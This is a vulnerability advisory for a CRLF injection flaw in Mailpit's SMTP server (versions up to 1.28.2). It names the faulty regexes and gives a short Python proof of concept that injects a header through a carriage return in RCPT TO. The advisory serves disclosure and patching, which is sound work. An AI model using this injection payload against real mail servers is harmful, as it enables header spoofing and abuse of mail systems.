ROSECURIFY
~/ advisories/ RO-26-004

Mailpit - SMTP CRLF Injection via Regex Bypass

axllent vendorMailpit product<= v1.28.2 version

Overview #

A CRLF Injection vulnerability exists in Mailpit's SMTP server. The vulnerability allows attackers to inject arbitrary SMTP headers by including carriage return characters (\r) in email addresses due to insufficient regex validation.

Vulnerability Details #

Affected Versions: <= v1.28.2

Root Cause: The regex patterns used to validate RCPT TO and MAIL FROM addresses fail to exclude \r and \n characters. The \v escape sequence inside a character class only matches Vertical Tab, not CR/LF.

Vulnerable Code: The vulnerability exists in internal/smtpd/smtpd.go:

go
rcptToRE = regexp.MustCompile(`(?i)TO: ?<([^<>\v]+)>( |$)(.*)?`)
mailFromRE = regexp.MustCompile(`(?i)FROM: ?<(|[^<>\v]+)>( |$)(.*)?`)

Exploitation Requirements #

Impact #

Remote attackers can exploit this vulnerability to:

Proof of Concept #

python
import socket

def exploit():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("127.0.0.1", 1025))
    s.recv(1024)
    s.send(b"EHLO test.com\r\n")
    s.recv(1024)
    s.send(b"MAIL FROM:<attacker@evil.com>\r\n")
    s.recv(1024)
    # Injecting \r
    payload = b"RCPT TO:<victim\rX-Injected: Yes>\r\n"
    s.send(payload)
    resp = s.recv(1024)
    print(f"Server Response: {resp.decode()}")  # Expect 250 OK
    s.close()

exploit()

Solution #

Upgrade to Mailpit version 1.28.3 or later.

References #

Timeline #

Credits: Omar Kurt